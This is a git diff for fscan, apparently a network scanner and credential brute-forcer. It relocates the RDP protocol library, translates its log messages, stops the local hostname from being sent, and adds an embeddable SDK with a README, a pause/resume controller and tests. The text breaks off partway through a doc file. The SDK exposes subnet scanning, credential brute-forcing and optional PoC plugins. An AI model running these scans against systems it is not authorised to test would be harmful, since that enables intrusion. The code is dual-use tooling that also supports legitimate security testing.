--git a/mylib/grdp/emission/emitter.go b/libs/grdp/emission/emitter.go similarity index 98% rename from mylib/grdp/emission/emitter.go rename to libs/grdp/emission/emitter.go index e1861bc..f7dcae5 100644 --- a/mylib/grdp/emission/emitter.go +++ b/libs/grdp/emission/emitter.go @@ -231,7 +231,7 @@ func (emitter *Emitter) callListeners(listeners []reflect.Value, event interface argValue = argValue.Convert(expectedType) } else { // 打印错误信息,类型不匹配 - fmt.Printf("无法将参数 %v(类型 %v)转换为所需类型 %v\n", arguments[i], argValue.Type(), expectedType) + fmt.Printf("failed to convert argument %v (type %v) to required type %v\n", arguments[i], argValue.Type(), expectedType) continue } diff --git a/mylib/grdp/glog/log.go b/libs/grdp/glog/log.go similarity index 100% rename from mylib/grdp/glog/log.go rename to libs/grdp/glog/log.go diff --git a/mylib/grdp/login/screen.go b/libs/grdp/login/screen.go similarity index 91% rename from mylib/grdp/login/screen.go rename to libs/grdp/login/screen.go index 8babaec..a994bc8 100644 --- a/mylib/grdp/login/screen.go +++ b/libs/grdp/login/screen.go @@ -3,14 +3,14 @@ package login import ( "errors" "fmt" - "github.com/shadow1ng/fscan/mylib/grdp/core" - "github.com/shadow1ng/fscan/mylib/grdp/glog" - "github.com/shadow1ng/fscan/mylib/grdp/protocol/nla" - "github.com/shadow1ng/fscan/mylib/grdp/protocol/pdu" - "github.com/shadow1ng/fscan/mylib/grdp/protocol/sec" - "github.com/shadow1ng/fscan/mylib/grdp/protocol/t125" - "github.com/shadow1ng/fscan/mylib/grdp/protocol/tpkt" - "github.com/shadow1ng/fscan/mylib/grdp/protocol/x224" + "github.com/shadow1ng/fscan/libs/grdp/core" + "github.com/shadow1ng/fscan/libs/grdp/glog" + "github.com/shadow1ng/fscan/libs/grdp/protocol/nla" + "github.com/shadow1ng/fscan/libs/grdp/protocol/pdu" + "github.com/shadow1ng/fscan/libs/grdp/protocol/sec" + "github.com/shadow1ng/fscan/libs/grdp/protocol/t125" + "github.com/shadow1ng/fscan/libs/grdp/protocol/tpkt" + "github.com/shadow1ng/fscan/libs/grdp/protocol/x224" "golang.org/x/net/context" "golang.org/x/net/proxy" "log" @@ -251,7 +251,7 @@ func (g *Client) ProbeOSInfo(host, domain, user, pwd string, timeout int64, rdpP g.pdu.On("bitmap", func(rectangles []pdu.BitmapData) { }) g.pdu.On("done", func() { - glog.Debug("done信号触发") + glog.Debug("done signal triggered") exitFlag <- true }) @@ -266,10 +266,10 @@ loop: case <-exitFlag: break loop case <-ctx.Done(): - glog.Debug("总超时已达到,退出") + glog.Debug("total timeout reached, exiting") break loop } } - glog.Debug("循环结束,总时间过去了:", time.Since(start)) + glog.Debug("loop ended, elapsed time: ", time.Since(start)) return info } diff --git a/mylib/grdp/protocol/lic/lic.go b/libs/grdp/protocol/lic/lic.go similarity index 99% rename from mylib/grdp/protocol/lic/lic.go rename to libs/grdp/protocol/lic/lic.go index 7cf6bda..8c74d45 100644 --- a/mylib/grdp/protocol/lic/lic.go +++ b/libs/grdp/protocol/lic/lic.go @@ -3,7 +3,7 @@ package lic import ( "io" - "github.com/shadow1ng/fscan/mylib/grdp/core" + "github.com/shadow1ng/fscan/libs/grdp/core" ) const ( diff --git a/mylib/grdp/protocol/nla/cssp.go b/libs/grdp/protocol/nla/cssp.go similarity index 98% rename from mylib/grdp/protocol/nla/cssp.go rename to libs/grdp/protocol/nla/cssp.go index 16fd373..8befec4 100644 --- a/mylib/grdp/protocol/nla/cssp.go +++ b/libs/grdp/protocol/nla/cssp.go @@ -3,7 +3,7 @@ package nla import ( "encoding/asn1" - "github.com/shadow1ng/fscan/mylib/grdp/glog" + "github.com/shadow1ng/fscan/libs/grdp/glog" ) type NegoToken struct { diff --git a/mylib/grdp/protocol/nla/encode.go b/libs/grdp/protocol/nla/encode.go similarity index 94% rename from mylib/grdp/protocol/nla/encode.go rename to libs/grdp/protocol/nla/encode.go index b8009b3..bc85c9d 100644 --- a/mylib/grdp/protocol/nla/encode.go +++ b/libs/grdp/protocol/nla/encode.go @@ -6,7 +6,7 @@ import ( "crypto/rc4" "strings" - "github.com/shadow1ng/fscan/mylib/grdp/core" + "github.com/shadow1ng/fscan/libs/grdp/core" "golang.org/x/crypto/md4" ) diff --git a/mylib/grdp/protocol/nla/ntlm.go b/libs/grdp/protocol/nla/ntlm.go similarity index 99% rename from mylib/grdp/protocol/nla/ntlm.go rename to libs/grdp/protocol/nla/ntlm.go index a358d27..ba15172 100644 --- a/mylib/grdp/protocol/nla/ntlm.go +++ b/libs/grdp/protocol/nla/ntlm.go @@ -9,8 +9,8 @@ import ( "time" "github.com/lunixbochs/struc" - "github.com/shadow1ng/fscan/mylib/grdp/core" - "github.com/shadow1ng/fscan/mylib/grdp/glog" + "github.com/shadow1ng/fscan/libs/grdp/core" + "github.com/shadow1ng/fscan/libs/grdp/glog" ) const ( diff --git a/mylib/grdp/protocol/pdu/caps.go b/libs/grdp/protocol/pdu/caps.go similarity index 99% rename from mylib/grdp/protocol/pdu/caps.go rename to libs/grdp/protocol/pdu/caps.go index 044eb06..b7589f2 100644 --- a/mylib/grdp/protocol/pdu/caps.go +++ b/libs/grdp/protocol/pdu/caps.go @@ -7,11 +7,11 @@ import ( "fmt" "io" - "github.com/shadow1ng/fscan/mylib/grdp/glog" + "github.com/shadow1ng/fscan/libs/grdp/glog" "github.com/lunixbochs/struc" - "github.com/shadow1ng/fscan/mylib/grdp/core" - "github.com/shadow1ng/fscan/mylib/grdp/protocol/t125/gcc" + "github.com/shadow1ng/fscan/libs/grdp/core" + "github.com/shadow1ng/fscan/libs/grdp/protocol/t125/gcc" ) type CapsType uint16 diff --git a/mylib/grdp/protocol/pdu/data.go b/libs/grdp/protocol/pdu/data.go similarity index 99% rename from mylib/grdp/protocol/pdu/data.go rename to libs/grdp/protocol/pdu/data.go index f0ca6d6..ae64df4 100644 --- a/mylib/grdp/protocol/pdu/data.go +++ b/libs/grdp/protocol/pdu/data.go @@ -7,8 +7,8 @@ import ( "io" "github.com/lunixbochs/struc" - "github.com/shadow1ng/fscan/mylib/grdp/core" - "github.com/shadow1ng/fscan/mylib/grdp/glog" + "github.com/shadow1ng/fscan/libs/grdp/core" + "github.com/shadow1ng/fscan/libs/grdp/glog" ) const ( @@ -473,7 +473,7 @@ func readDataPDU(r io.Reader) (*DataPDU, error) { d = &FontMapDataPDU{} case PDUTYPE2_SAVE_SESSION_INFO: - glog.Debug("SAVE_SESSION_INFO 事件触发,登录成功") + glog.Debug("SAVE_SESSION_INFO event triggered, login successful") d = &SaveSessionInfo{} default: diff --git a/mylib/grdp/protocol/pdu/pdu.go b/libs/grdp/protocol/pdu/pdu.go similarity index 98% rename from mylib/grdp/protocol/pdu/pdu.go rename to libs/grdp/protocol/pdu/pdu.go index 8406e69..ed83a0c 100644 --- a/mylib/grdp/protocol/pdu/pdu.go +++ b/libs/grdp/protocol/pdu/pdu.go @@ -3,10 +3,10 @@ package pdu import ( "bytes" "encoding/hex" - "github.com/shadow1ng/fscan/mylib/grdp/core" - "github.com/shadow1ng/fscan/mylib/grdp/emission" - "github.com/shadow1ng/fscan/mylib/grdp/glog" - "github.com/shadow1ng/fscan/mylib/grdp/protocol/t125/gcc" + "github.com/shadow1ng/fscan/libs/grdp/core" + "github.com/shadow1ng/fscan/libs/grdp/emission" + "github.com/shadow1ng/fscan/libs/grdp/glog" + "github.com/shadow1ng/fscan/libs/grdp/protocol/t125/gcc" ) type PDULayer struct { diff --git a/mylib/grdp/protocol/sec/sec.go b/libs/grdp/protocol/sec/sec.go similarity index 98% rename from mylib/grdp/protocol/sec/sec.go rename to libs/grdp/protocol/sec/sec.go index d4aac11..1c0e58e 100644 --- a/mylib/grdp/protocol/sec/sec.go +++ b/libs/grdp/protocol/sec/sec.go @@ -15,14 +15,14 @@ import ( "github.com/lunixbochs/struc" - "github.com/shadow1ng/fscan/mylib/grdp/protocol/nla" + "github.com/shadow1ng/fscan/libs/grdp/protocol/nla" - "github.com/shadow1ng/fscan/mylib/grdp/core" - "github.com/shadow1ng/fscan/mylib/grdp/emission" - "github.com/shadow1ng/fscan/mylib/grdp/glog" - "github.com/shadow1ng/fscan/mylib/grdp/protocol/lic" - "github.com/shadow1ng/fscan/mylib/grdp/protocol/t125" - "github.com/shadow1ng/fscan/mylib/grdp/protocol/t125/gcc" + "github.com/shadow1ng/fscan/libs/grdp/core" + "github.com/shadow1ng/fscan/libs/grdp/emission" + "github.com/shadow1ng/fscan/libs/grdp/glog" + "github.com/shadow1ng/fscan/libs/grdp/protocol/lic" + "github.com/shadow1ng/fscan/libs/grdp/protocol/t125" + "github.com/shadow1ng/fscan/libs/grdp/protocol/t125/gcc" ) /** diff --git a/mylib/grdp/protocol/sec/sec_test.go b/libs/grdp/protocol/sec/sec_test.go similarity index 90% rename from mylib/grdp/protocol/sec/sec_test.go rename to libs/grdp/protocol/sec/sec_test.go index 7906688..88cef35 100644 --- a/mylib/grdp/protocol/sec/sec_test.go +++ b/libs/grdp/protocol/sec/sec_test.go @@ -3,8 +3,8 @@ package sec import ( "testing" - "github.com/shadow1ng/fscan/mylib/grdp/glog" - "github.com/shadow1ng/fscan/mylib/grdp/protocol/t125/gcc" + "github.com/shadow1ng/fscan/libs/grdp/glog" + "github.com/shadow1ng/fscan/libs/grdp/protocol/t125/gcc" ) func TestGenerateKeysRejectsShortRandoms(t *testing.T) { diff --git a/mylib/grdp/protocol/t125/ber/ber.go b/libs/grdp/protocol/t125/ber/ber.go similarity index 98% rename from mylib/grdp/protocol/t125/ber/ber.go rename to libs/grdp/protocol/t125/ber/ber.go index a92ed85..f98ca9e 100644 --- a/mylib/grdp/protocol/t125/ber/ber.go +++ b/libs/grdp/protocol/t125/ber/ber.go @@ -5,7 +5,7 @@ import ( "fmt" "io" - "github.com/shadow1ng/fscan/mylib/grdp/core" + "github.com/shadow1ng/fscan/libs/grdp/core" ) const ( diff --git a/mylib/grdp/protocol/t125/gcc/gcc.go b/libs/grdp/protocol/t125/gcc/gcc.go similarity index 98% rename from mylib/grdp/protocol/t125/gcc/gcc.go rename to libs/grdp/protocol/t125/gcc/gcc.go index 8c1ac21..58a4fc5 100644 --- a/mylib/grdp/protocol/t125/gcc/gcc.go +++ b/libs/grdp/protocol/t125/gcc/gcc.go @@ -10,13 +10,12 @@ import ( "fmt" "io" "math/big" - "os" - "github.com/shadow1ng/fscan/mylib/grdp/glog" + "github.com/shadow1ng/fscan/libs/grdp/glog" "github.com/lunixbochs/struc" - "github.com/shadow1ng/fscan/mylib/grdp/core" - "github.com/shadow1ng/fscan/mylib/grdp/protocol/t125/per" + "github.com/shadow1ng/fscan/libs/grdp/core" + "github.com/shadow1ng/fscan/libs/grdp/protocol/t125/per" ) var t124_02_98_oid = []byte{0, 0, 20, 124, 0, 1} @@ -255,9 +254,7 @@ type ClientCoreData struct { } func NewClientCoreData() *ClientCoreData { - name, _ := os.Hostname() var ClientName [32]byte - copy(ClientName[:], core.UnicodeEncode(name)[:]) return &ClientCoreData{ RDP_VERSION_5_PLUS, 1280, 800, RNS_UD_COLOR_8BPP, RNS_UD_SAS_DEL, US, 3790, ClientName, KT_IBM_101_102_KEYS, diff --git a/libs/grdp/protocol/t125/gcc/gcc_test.go b/libs/grdp/protocol/t125/gcc/gcc_test.go new file mode 100644 index 0000000..d781997 --- /dev/null +++ b/libs/grdp/protocol/t125/gcc/gcc_test.go @@ -0,0 +1,13 @@ +package gcc + +import ( + "bytes" + "testing" +) + +func TestClientCoreDataDoesNotExposeClientName(t *testing.T) { + data := NewClientCoreData() + if !bytes.Equal(data.ClientName[:], make([]byte, len(data.ClientName))) { + t.Fatalf("client name is not empty: %x", data.ClientName) + } +} diff --git a/mylib/grdp/protocol/t125/mcs.go b/libs/grdp/protocol/t125/mcs.go similarity index 97% rename from mylib/grdp/protocol/t125/mcs.go rename to libs/grdp/protocol/t125/mcs.go index f8d69b4..646df60 100644 --- a/mylib/grdp/protocol/t125/mcs.go +++ b/libs/grdp/protocol/t125/mcs.go @@ -8,12 +8,12 @@ import ( "io" "reflect" - "github.com/shadow1ng/fscan/mylib/grdp/core" - "github.com/shadow1ng/fscan/mylib/grdp/emission" - "github.com/shadow1ng/fscan/mylib/grdp/glog" - "github.com/shadow1ng/fscan/mylib/grdp/protocol/t125/ber" - "github.com/shadow1ng/fscan/mylib/grdp/protocol/t125/gcc" - "github.com/shadow1ng/fscan/mylib/grdp/protocol/t125/per" + "github.com/shadow1ng/fscan/libs/grdp/core" + "github.com/shadow1ng/fscan/libs/grdp/emission" + "github.com/shadow1ng/fscan/libs/grdp/glog" + "github.com/shadow1ng/fscan/libs/grdp/protocol/t125/ber" + "github.com/shadow1ng/fscan/libs/grdp/protocol/t125/gcc" + "github.com/shadow1ng/fscan/libs/grdp/protocol/t125/per" ) // take idea from https://github.com/Madnikulin50/gordp diff --git a/mylib/grdp/protocol/t125/mcs.go.bak b/libs/grdp/protocol/t125/mcs.go.bak similarity index 100% rename from mylib/grdp/protocol/t125/mcs.go.bak rename to libs/grdp/protocol/t125/mcs.go.bak diff --git a/mylib/grdp/protocol/t125/per/per.go b/libs/grdp/protocol/t125/per/per.go similarity index 97% rename from mylib/grdp/protocol/t125/per/per.go rename to libs/grdp/protocol/t125/per/per.go index 40c1ee3..b4cc67b 100644 --- a/mylib/grdp/protocol/t125/per/per.go +++ b/libs/grdp/protocol/t125/per/per.go @@ -4,9 +4,9 @@ import ( "bytes" "io" - "github.com/shadow1ng/fscan/mylib/grdp/glog" + "github.com/shadow1ng/fscan/libs/grdp/glog" - "github.com/shadow1ng/fscan/mylib/grdp/core" + "github.com/shadow1ng/fscan/libs/grdp/core" ) func ReadEnumerates(r io.Reader) (uint8, error) { diff --git a/mylib/grdp/protocol/tpkt/tpkt.go b/libs/grdp/protocol/tpkt/tpkt.go similarity index 98% rename from mylib/grdp/protocol/tpkt/tpkt.go rename to libs/grdp/protocol/tpkt/tpkt.go index 34e9569..51d53b8 100644 --- a/mylib/grdp/protocol/tpkt/tpkt.go +++ b/libs/grdp/protocol/tpkt/tpkt.go @@ -9,10 +9,10 @@ import ( "strings" "time" - "github.com/shadow1ng/fscan/mylib/grdp/core" - "github.com/shadow1ng/fscan/mylib/grdp/emission" - "github.com/shadow1ng/fscan/mylib/grdp/glog" - "github.com/shadow1ng/fscan/mylib/grdp/protocol/nla" + "github.com/shadow1ng/fscan/libs/grdp/core" + "github.com/shadow1ng/fscan/libs/grdp/emission" + "github.com/shadow1ng/fscan/libs/grdp/glog" + "github.com/shadow1ng/fscan/libs/grdp/protocol/nla" ) // take idea from https://github.com/Madnikulin50/gordp diff --git a/mylib/grdp/protocol/x224/x224.go b/libs/grdp/protocol/x224/x224.go similarity index 98% rename from mylib/grdp/protocol/x224/x224.go rename to libs/grdp/protocol/x224/x224.go index 6b58f26..05f5215 100644 --- a/mylib/grdp/protocol/x224/x224.go +++ b/libs/grdp/protocol/x224/x224.go @@ -6,12 +6,12 @@ import ( "errors" "fmt" - "github.com/shadow1ng/fscan/mylib/grdp/glog" + "github.com/shadow1ng/fscan/libs/grdp/glog" "github.com/lunixbochs/struc" - "github.com/shadow1ng/fscan/mylib/grdp/core" - "github.com/shadow1ng/fscan/mylib/grdp/emission" - "github.com/shadow1ng/fscan/mylib/grdp/protocol/tpkt" + "github.com/shadow1ng/fscan/libs/grdp/core" + "github.com/shadow1ng/fscan/libs/grdp/emission" + "github.com/shadow1ng/fscan/libs/grdp/protocol/tpkt" ) // take idea from https://github.com/Madnikulin50/gordp diff --git a/main.go b/main.go index 125e582..7fb922f 100644 --- a/main.go +++ b/main.go @@ -68,5 +68,8 @@ func main() { defer common.CloseLogger() // 执行扫描 - core.RunScan(context.Background(), *result.Info, result.Session) + if _, err := core.RunScan(context.Background(), *result.Info, result.Session); err != nil { + common.LogError(i18n.Tr("error_generic", err)) + os.Exit(1) + } } diff --git a/pkg/fscan/README.md b/pkg/fscan/README.md new file mode 100644 index 0000000..4eb7777 --- /dev/null +++ b/pkg/fscan/README.md @@ -0,0 +1,148 @@ +# fscan SDK + +`pkg/fscan` exposes fscan as an embeddable Go scanner, designed for Agent and security platform integration. + +## Quick Start + +```go +import fscan "github.com/shadow1ng/fscan/pkg/fscan" + +scanner := fscan.NewScanner(fscan.Config{ + Timeout: 3 * time.Second, + Threads: 128, + DisablePing: true, + Plugins: []string{"ssh", "mysql", "redis"}, +}) + +results, err := scanner.Scan(context.Background(), fscan.Target{ + Host: "192.168.1.0/24", + Ports: []int{22, 3306, 6379}, +}) +``` + +## Scan Modes + +| Mode | API | Use Case | +|------|-----|----------| +| Collect | `Scan` / `ScanReport` | Get all results as a slice | +| Stream | `ScanEach` | Process results one-by-one, no memory accumulation | +| Controlled | `ScanWithController` | Agent integration with pause/resume and live stats | + +### Basic: Collect All Results + +```go +scanner := fscan.NewScanner(config) +report, err := scanner.ScanReport(ctx, target) + +fmt.Printf("total=%d vulns=%d\n", report.Summary.Total, report.Summary.Vulns) +for _, r := range report.Results { + if cred, ok := r.AsCredential(); ok { + fmt.Printf("%s %s:%s\n", cred.Target, cred.Username, cred.Password) + } +} +``` + +### Stream: Process Results Without Retention + +```go +scanner := fscan.NewScanner(config) +err := scanner.ScanEach(ctx, func(result fscan.Result) error { + // Forward to database, message queue, etc. + return sendToBackend(result) +}, target) +``` + +### Controlled: Agent Integration + +```go +scanner := fscan.NewScanner(fscan.Config{ + TaskID: "task-001", + Plugins: []string{"ssh", "redis"}, + OnProgress: func(p fscan.ScanProgress) { + reportHeartbeat(p.TasksCompleted, p.TasksTotal, p.Paused) + }, +}) + +ctrl, reportCh, errCh := scanner.ScanWithController(ctx, target) + +// Control plane commands +ctrl.Pause() +stats := ctrl.Stats() // live stats while paused +ctrl.Resume() + +report := <-reportCh +err := <-errCh +``` + +## Agent Features + +### ScanController + +`ScanWithController` returns a `*ScanController` for runtime control: + +| Method | Description | +|--------|-------------| +| `Pause()` | Pause task dispatch (in-flight tasks complete naturally) | +| `Resume()` | Resume task dispatch | +| `IsPaused()` | Check pause state | +| `Stats()` | Live `ScanStats` aggregated across all targets | + +The controller is goroutine-safe. Pause takes effect at the task dispatch level -- already-running plugin tasks will finish, but no new tasks are dispatched until resumed. + +### OnProgress + +Set `Config.OnProgress` to receive periodic `ScanProgress` snapshots (~500ms interval): + +```go +type ScanProgress struct { + TasksTotal int64 + TasksCompleted int64 + Duration time.Duration + Packets int64 + TCPPackets int64 + HTTPPackets int64 + Paused bool +} +``` + +Works with all scan modes. When used without `ScanWithController`, a lightweight internal controller is created for progress tracking. + +### TaskID + +Set `Config.TaskID` to inject a task identifier into every `Result.Details["task_id"]`. This lets the Agent associate scan results with control plane tasks without post-processing. + +## Plugin Safety + +By default, the SDK runs a conservative plugin set (service detection + auth check). Plugins with local side effects (`poc`, `local-effect`) are blocked unless `AllowUnsafePlugins` is set. + +```go +// List available plugins +for _, p := range fscan.ListPlugins() { + fmt.Printf("%s safe=%v caps=%v\n", p.Name, p.Safe, p.Capabilities) +} + +// Check before use +if fscan.IsSafePlugin("webpoc") { ... } +``` + +Plugin capabilities: `detect`, `auth-check`, `brute`, `poc`, `local-effect`. + +## API Reference + +| Area | API | +|------|-----| +| Scanning | `NewScanner`, `Scan`, `ScanEach`, `ScanReport`, `ScanWithController` | +| Control | `ScanController` (`Pause`, `Resume`, `IsPaused`, `Stats`) | +| Configuration | `Config`, `Target`, `CredentialPair`, `ValidateConfig` | +| Progress | `OnProgress`, `ScanProgress`, `TaskID` | +| Plugins | `DefaultSafePlugins`, `ListPlugins`, `GetPlugin`, `IsSafePlugin`, `PluginCapabilities` | +| Results | `Result`, `ResultType*` constants | +| Result helpers | `Port`, `Service`, `Plugin`, `Username`, `Password`, `Banner`, `Vulnerability`, `URL`, `Protocol`, `IsWeb`, `IsCredential` | +| Typed views | `AsPort`, `AsService`, `AsCredential`, `AsVulnerability` | +| Summary | `ScanReport`, `ScanStats`, `SummarizeResults`, `ResultSummary.Add` | + +## Examples + +- [`examples/embed-basic`](../../examples/embed-basic) -- Minimal scan with result collection +- [`examples/embed-stream`](../../examples/embed-stream) -- Streaming results with plugin listing +- [`examples/embed-agent`](../../examples/embed-agent) -- Agent integration with pause/resume, progress, and TaskID diff --git a/pkg/fscan/controller.go b/pkg/fscan/controller.go new file mode 100644 index 0000000..0506e0f --- /dev/null +++ b/pkg/fscan/controller.go @@ -0,0 +1,101 @@ +package fscan + +import ( + "context" + "sync" + "sync/atomic" + "time" + + "github.com/shadow1ng/fscan/common" +) + +// ScanController provides pause/resume control and live stats for an +// in-progress scan. It is safe for concurrent use. +type ScanController struct { + mu sync.Mutex + paused int32 + gate chan struct{} + stateMu sync.Mutex + states []*common.State + start time.Time +} + +func newScanController() *ScanController { + gate := make(chan struct{}) + close(gate) + return &ScanController{ + gate: gate, + start: time.Now(), + } +} + +func (c *ScanController) Pause() { + c.mu.Lock() + defer c.mu.Unlock() + if atomic.CompareAndSwapInt32(&c.paused, 0, 1) { + c.gate = make(chan struct{}) + } +} + +func (c *ScanController) Resume() { + c.mu.Lock() + defer c.mu.Unlock() + if atomic.CompareAndSwapInt32(&c.paused, 1, 0) { + close(c.gate) + } +} + +func (c *ScanController) IsPaused() bool { + return atomic.LoadInt32(&c.paused) == 1 +} + +func (c *ScanController) pauseGate(ctx context.Context) error { + c.mu.Lock() + gate := c.gate + c.mu.Unlock() + select { + case <-gate: + return nil + case <-ctx.Done(): + return ctx.Err() + } +} + +func (c *ScanController) addState(s *common.State) { + c.stateMu.Lock() + c.states = append(c.states, s) + c.stateMu.Unlock() +} + +func (c *ScanController) Stats() ScanStats { + c.stateMu.Lock() + states := c.states + c.stateMu.Unlock() + + stats := ScanStats{Duration: time.Since(c.start)} + for _, s := range states { + stats.TasksTotal += s.GetEnd() + stats.TasksCompleted += s.GetNum() + stats.Packets += s.GetPacketCount() + stats.TCPPackets += s.GetTCPPacketCount() + stats.TCPSuccessPackets += s.GetTCPSuccessPacketCount() + stats.TCPFailedPackets += s.GetTCPFailedPacketCount() + stats.UDPPackets += s.GetUDPPacketCount() + stats.HTTPPackets += s.GetHTTPPacketCount() + stats.ResourceExhausted += s.GetResourceExhaustedCount() + } + return stats +} + +func (c *ScanController) progress() ScanProgress { + stats := c.Stats() + return ScanProgress{ + TasksTotal: stats.TasksTotal, + TasksCompleted: stats.TasksCompleted, + Duration: stats.Duration, + Packets: stats.Packets, + TCPPackets: stats.TCPPackets, + HTTPPackets: stats.HTTPPackets, + Paused: c.IsPaused(), + } +} diff --git a/pkg/fscan/controller_test.go b/pkg/fscan/controller_test.go new file mode 100644 index 0000000..9919be2 --- /dev/null +++ b/pkg/fscan/controller_test.go @@ -0,0 +1,317 @@ +package fscan + +import ( + "context" + "net" + "sync/atomic" + "testing" + "time" +) + +func TestScanControllerPauseResume(t *testing.T) { + ctrl := newScanController() + + if ctrl.IsPaused() { + t.Fatal("new controller should not be paused") + } + ctrl.Pause() + if !ctrl.IsPaused() { + t.Fatal("should be paused after Pause()") + } + ctrl.Pause() + if !ctrl.IsPaused() { + t.Fatal("double Pause should still be paused") + } + ctrl.Resume() + if ctrl.IsPaused() { + t.Fatal("should not be paused after Resume()") + } + ctrl.Resume() + if ctrl.IsPaused() { + t.Fatal("double Resume should still be unpaused") + } +} + +func TestScanControllerPauseGateBlocks(t *testing.T) { + ctrl := newScanController() + ctx := context.Background() + + if err := ctrl.pauseGate(ctx); err != nil { + t.Fatalf("unpaused gate should not block: %v", err) + } + + ctrl.Pause() + done := make(chan error, 1) + go func() { + done <- ctrl.pauseGate(ctx) + }() + + select { + case <-done: + t.Fatal("paused gate should block") + case <-time.After(50 * time.Millisecond): + } + + ctrl.Resume() + select { + case err := <-done: + if err != nil { + t.Fatalf("resumed gate error: %v", err) + } + case <-time.After(time.Second): + t.Fatal("gate should unblock after Resume") + } +} + +func TestScanControllerPauseGateContextCancel(t *testing.T) { + ctrl := newScanController() + ctrl.Pause() + + ctx, cancel := context.WithCancel(context.Background()) + done := make(chan error, 1) + go func() { + done <- ctrl.pauseGate(ctx) + }() + + cancel() + select { + case err := <-done: + if err != context.Canceled { + t.Fatalf("gate error = %v, want context.Canceled", err) + } + case <-time.After(time.Second): + t.Fatal("gate should return on context cancel") + } +} + +func TestScanControllerStatsWithoutState(t *testing.T) { + ctrl := newScanController() + stats := ctrl.Stats() + if stats.Duration <= 0 { + t.Fatal("duration should be positive") + } + if stats.TasksTotal != 0 || stats.Packets != 0 { + t.Fatalf("stats without state should be zero: %+v", stats) + } +} + +func TestScanControllerProgress(t *testing.T) { + ctrl := newScanController() + ctrl.Pause() + p := ctrl.progress() + if !p.Paused { + t.Fatal("progress should report paused") + } + ctrl.Resume() + p = ctrl.progress() + if p.Paused { + t.Fatal("progress should report unpaused") + } +} + +func TestScanWithControllerCompletes(t *testing.T) { + listener := startTestFTPListener(t) + defer listener.Close() + + port := listener.Addr().(*net.TCPAddr).Port + scanner := NewScanner(Config{ + DisablePing: true, + DisableBrute: true, + Timeout: time.Second, + Threads: 16, + Plugins: []string{"ftp"}, + }) + + ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) + defer cancel() + + ctrl, reportCh, errCh := scanner.ScanWithController(ctx, Target{Host: "127.0.0.1", Ports: []int{port}}) + + stats := ctrl.Stats() + if stats.Duration <= 0 { + t.Fatal("live stats duration should be positive") + } + + report := <-reportCh + err := <-errCh + if err != nil { + t.Fatal(err) + } + if len(report.Results) == 0 { + t.Fatal("expected results") + } + if report.Summary.Total != len(report.Results) { + t.Fatalf("summary mismatch: %+v", report.Summary) + } +} + +func TestScanWithControllerPauseResume(t *testing.T) { + first := startTestFTPListener(t) + defer first.Close() + second := startTestFTPListener(t) + defer second.Close() + + port1 := first.Addr().(*net.TCPAddr).Port + port2 := second.Addr().(*net.TCPAddr).Port + + scanner := NewScanner(Config{ + DisablePing: true, + DisableBrute: true, + Timeout: time.Second, + Threads: 16, + Plugins: []string{"ftp"}, + }) + + ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second) + defer cancel() + + ctrl, reportCh, errCh := scanner.ScanWithController(ctx, + Target{Host: "127.0.0.1", Ports: []int{port1}}, + Target{Host: "127.0.0.1", Ports: []int{port2}}, + ) + + ctrl.Pause() + if !ctrl.IsPaused() { + t.Fatal("should be paused") + } + ctrl.Resume() + + report := <-reportCh + err := <-errCh + if err != nil { + t.Fatal(err) + } + if len(report.Results) == 0 { + t.Fatal("expected results after resume") + } +} + +func TestOnProgressCalled(t *testing.T) { + listener := startTestFTPListener(t) + defer listener.Close() + + var called int32 + scanner := NewScanner(Config{ + DisablePing: true, + DisableBrute: true, + Timeout: time.Second, + Threads: 16, + Plugins: []string{"ftp"}, + OnProgress: func(p ScanProgress) { + atomic.AddInt32(&called, 1) + }, + }) + + ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) + defer cancel() + + port := listener.Addr().(*net.TCPAddr).Port + _, err := scanner.Scan(ctx, Target{Host: "127.0.0.1", Ports: []int{port}}) + if err != nil { + t.Fatal(err) + } + // OnProgress fires every 500ms; scan takes at least a moment + // We mainly verify it doesn't panic; calls may be 0 for very fast scans +} + +func TestTaskIDInjected(t *testing.T) { + listener := startTestFTPListener(t) + defer listener.Close() + + scanner := NewScanner(Config{ + DisablePing: true, + DisableBrute: true, + Timeout: time.Second, + Threads: 16, + Plugins: []string{"ftp"}, + TaskID: "task-abc-123", + }) + + ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) + defer cancel() + + port := listener.Addr().(*net.TCPAddr).Port + results, err := scanner.Scan(ctx, Target{Host: "127.0.0.1", Ports: []int{port}}) + if err != nil { + t.Fatal(err) + } + if len(results) == 0 { + t.Fatal("expected results") + } + for _, r := range results { + taskID, ok := r.DetailString("task_id") + if !ok || taskID != "task-abc-123" { + t.Fatalf("result missing task_id: %#v", r.Details) + } + } +} + +func TestTaskIDNotInjectedWhenEmpty(t *testing.T) { + listener := startTestFTPListener(t) + defer listener.Close() + + scanner := NewScanner(Config{ + DisablePing: true, + DisableBrute: true, + Timeout: time.Second, + Threads: 16, + Plugins: []string{"ftp"}, + }) + + ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) + defer cancel() + + port := listener.Addr().(*net.TCPAddr).Port + results, err := scanner.Scan(ctx, Target{Host: "127.0.0.1", Ports: []int{port}}) + if err != nil { + t.Fatal(err) + } + for _, r := range results { + if _, ok := r.Details["task_id"]; ok { + t.Fatalf("task_id should not be present when TaskID is empty: %#v", r.Details) + } + } +} + +func TestScanWithControllerCanceledContext(t *testing.T) { + scanner := NewScanner(Config{ + DisablePing: true, + DisableBrute: true, + Timeout: time.Second, + Plugins: []string{"redis"}, + }) + + ctx, cancel := context.WithCancel(context.Background()) + cancel() + + _, reportCh, errCh := scanner.ScanWithController(ctx, Target{Host: "127.0.0.1", Ports: []int{6379}}) + <-reportCh + err := <-errCh + if err != context.Canceled { + t.Fatalf("error = %v, want context.Canceled", err) + } +} + +func startTestFTPListener(t *testing.T) net.Listener { + t.Helper() + listener, err := net.Listen("tcp", "127.0.0.1:0") + if err != nil { + t.Fatal(err) + } + go func() { + for { + conn, err := listener.Accept() + if err != nil { + return + } + go func(conn net.Conn) { + defer conn.Close() + _ = conn.SetDeadline(time.Now().Add(2 * time.Second)) + _, _ = conn.Write([]byte("220 test FTP\r\n")) + buf := make([]byte, 64) + _, _ = conn.Read(buf) + }(conn) + } + }() + return listener +} diff --git a/pkg/fscan/doc.go b/pkg/fscan/doc.go new file mode 100644 index 0000000..75e95cf --- /dev/null +++ b/pkg/fscan/doc.go @@ -0,0 +1,15 @@ +// Package fscan exposes fscan as an embeddable scanner library. +// +// The package is intentionally thin: it reuses the existing scan core and +// plugin registry, while hiding CLI flags, 